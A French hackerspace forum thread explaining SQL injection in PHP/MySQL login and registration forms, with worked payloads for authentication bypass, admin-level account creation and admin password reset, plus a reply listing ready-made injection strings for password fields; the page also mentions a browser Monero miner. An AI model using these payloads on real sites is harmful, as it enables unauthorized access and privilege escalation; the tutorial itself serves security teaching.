Vision du web. La réponse collaborative.

Gagner des Bitcoins.

Gagner des Bitcoins !
Le HackerSpace Vision du web.
La réponse collaborative.
Le glider des Hackers.
Un symbole de rassemblement.
QWERTY.
Du clavier au terminal.
GNU / Linux Debian.
La distribution universelle.
GNU / Linux Ubuntu.
Linux pour les êtres humains.
GNU / Linux Arch.
Un Linux léger et flexible.
Nom de code Linux.
Documentaire FR.

Le montant des donations pour Vision du web est de 0.065845453971182 Monero.

Soutenir Vision du Web dans son partage de logiciels et de ressources libres

Ce mineur crée de la monnaie numérique Monero pour soutenir Vision du web.
Merci de désactiver votre bloqueur de publicité.
Aucune publicité ne sera affichée.
Le mineur utilise les ressources de votre machine pour créer gratuitement de la monnaie numérique.

Vous n´êtes pas identifié(e).

Nous sommes le samedi 22 septembre 2018. Il est .

Nous avons 162 invités et aucun membre en ligne

 
HackerSpace !
× Ressources PHP.

L'injection SQL, une attaque courante

  • VisionDuWeb
  • Portrait de VisionDuWeb Auteur du sujet
  • Hors Ligne
  • Modérateur
  • Modérateur
  • Animateur.
Plus d'informations
il y a 3 ans 5 mois - il y a 3 ans 5 mois #531 par VisionDuWeb
VisionDuWeb a créé le sujet : L'injection SQL, une attaque courante
L’utilisateur peut saisir des données qui modifie la requête SQL utilisé par l’application web.
L’application PHP/MySQL n’implémente pas le filtrage et la validation des données.
Le serveur web n’est pas correctement configuré.


La requête SQL peut être modifiée par injection
- Des expressions booléennes qui s’évalue à "vraie"
- Des apostrophes '
- Un caractère de commentaire #
- Des commandes ou mot clés SQL

Le contenu des variables est inséré dans la requête SQL puis la requête est envoyée au serveur MySQL.
Le serveur MySQL retourne des données selon la requête envoyée.


Exemple avec l'injection d'expressions booléennes qui s’évaluent vraies
L’utilisateur malveillant renseigne le login de la façon suivante :
- Contenu de la variable $login=admin' OR 1=1#
- Contenu de la variable $pass=

La requête envoyée au serveur sera la suivante.
SELECT id FROM members WHERE login='admin' OR 1=1#' AND pass=''
Ce qui correspond à la requête effectuée réellement par le script PHP :
SELECT id FROM members WHERE login='admin' OR 1=1

Le premier apostrophe saisie par l’utilisateur permet de fermer le premier apostrophe ouvrant dans la requête SQL.
L'opérateur logique OU permet de rajouter une expression "vraie"
Le caractère dièse permet de mettre en commentaire tous les caractères qui s’ensuivent.
Le résultat de la requête est soit le retour de toutes les entrées id de la table membres soit l’id de l’utilisateur admin.


Exemple avec l'injection de la commande SELECT
La commande SELECT est utilisé pour authentifier un utilisateur sur le forum de discussion.
Lorsqu’un pirate injecte l’expression ci-dessous, il peut s’authentifier en connaissant uniquement le login de l'utilisateur.

Expression injectée --> $login=bob’#
Requête SQL d’origine --> SELECT id WHERE nom='$login' AND pass='$pass'
Requête SQL modifié --> SELECT id WHERE nom='bob'#' AND pass='$pass'
Requête SQL effectuée --> SELECT id WHERE nom='bob'


Exemple avec l'injection de la commande INSERT
Dans cet exemple la commande INSERT est utilisée pour inscrire un nouveau membre dans un forum de discussion. (Champ Login Password Mail)
Sauf que le nouvel utilisateur aura tous les droits d'administrateur ...
- 1 = utilisateur normal
- 2 = modérateur
- 3 = administrateur

Expression injectée --> $login=fred $pass=1234 $email=', '3')#
Requête SQL d’origine --> INSERT INTO members (login,pass, email,user_level) VALUES ('$login','$pass','$email', '1')
Requête SQL modifié --> INSERT INTO members (login,pass, email,user_level) VALUES ('fred','1234', '','3')#', '1')
Requête SQL effectuée --> INSERT INTO members (login,pass, email,user_level) VALUES ('fred','1234', '', '3')


Exemple avec l'injection de la commande UPDATE
Expression injectée --> $newpass=1234' WHERE login='admin'#
Requête SQL d’origine --> UPDATE membres SET pass='$newpass' WHERE email='$email' AND pass='$oldpass'
Requête SQL modifié --> UPDATE membres SET pass='1234' WHERE login='admin'#' WHERE email=''AND pass=''
Requête SQL effectuée --> UPDATE membres SET pass='1234' WHERE login='admin'


Conclusion
L’injection SQL est relativement simple lorsque l’on connaît la requête SQL utilisé par le script PHP.
Les scripts PHP sont exécutés du côté serveur donc le client n’aura jamais accès au codes sources avec son navigateur.

Les exemples précédent testés sur un serveur configuré avec l’option magic_quotes_on dans le fichier /etc/php.ini. ne devraient pas fonctionner :
Cette option échappe Les apostrophes avec des backslashs.

La requête : SELECT id FROM members WHERE login='admin' OR 1=1#' AND pass=''
Sera remplacée par : SELECT id FROM members WHERE login='admin\' OR 1=1#' AND pass=''
La requête qui sera exécutée : SELECT id FROM members WHERE login='admin\' OR 1=1

Un message d’erreur sera affiché car il manque une apostrophe.

L’option magic_quotes_gpc est activée par défaut ? Cela ne veut pas dire que l’application web est sécurisée.
Il faut rigoureusement tester une application avant de la mettre à disposition sur l’Internet : filtrer et valider les entrées saisies par les utilisateurs

Vision du web. La réponse collaborative.
Dernière édition: il y a 3 ans 5 mois par VisionDuWeb.

Connexion ou Créer un compte pour participer à la conversation.

  • OxyLunatic
  • Portrait de OxyLunatic
  • Hors Ligne
  • Collaborateur Or
  • Collaborateur Or
  • Sous l'influence de la Lune !
Plus d'informations
il y a 3 semaines 2 jours #3220 par OxyLunatic
OxyLunatic a répondu au sujet : L'injection SQL, une attaque courante
Chaîne d'injection SQL à utiliser dans un champ mot de passe.

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
") or ("a"="a

Al Capone disait toujours : On obtient plus de choses en étant poli et armé qu'en étant juste poli.
Cette simple citation explique pour moi la persistance d'un phénomène comme la mafia à travers les siècles.

Connexion ou Créer un compte pour participer à la conversation.

REMARQUE ! Ce site utilise des cookies et autres technologies similaires.

Si vous ne changez pas les paramètres de votre navigateur, vous êtes d'accord. En savoir plus

J'ai compris

En poursuivant votre navigation sur ce site, vous acceptez l’utilisation de Cookies pour vous proposer un accès membre personnalisé et réaliser des statistiques de visites.

Vision du web sur votre réseau social

Vision du web :A Member of The Internet Defense League.

Ils ont essayé de nous enterrer.
Ils ne savaient pas que nous étions des graines.
[Proverbe mexicain]

Votre hébergement internet avec LWS.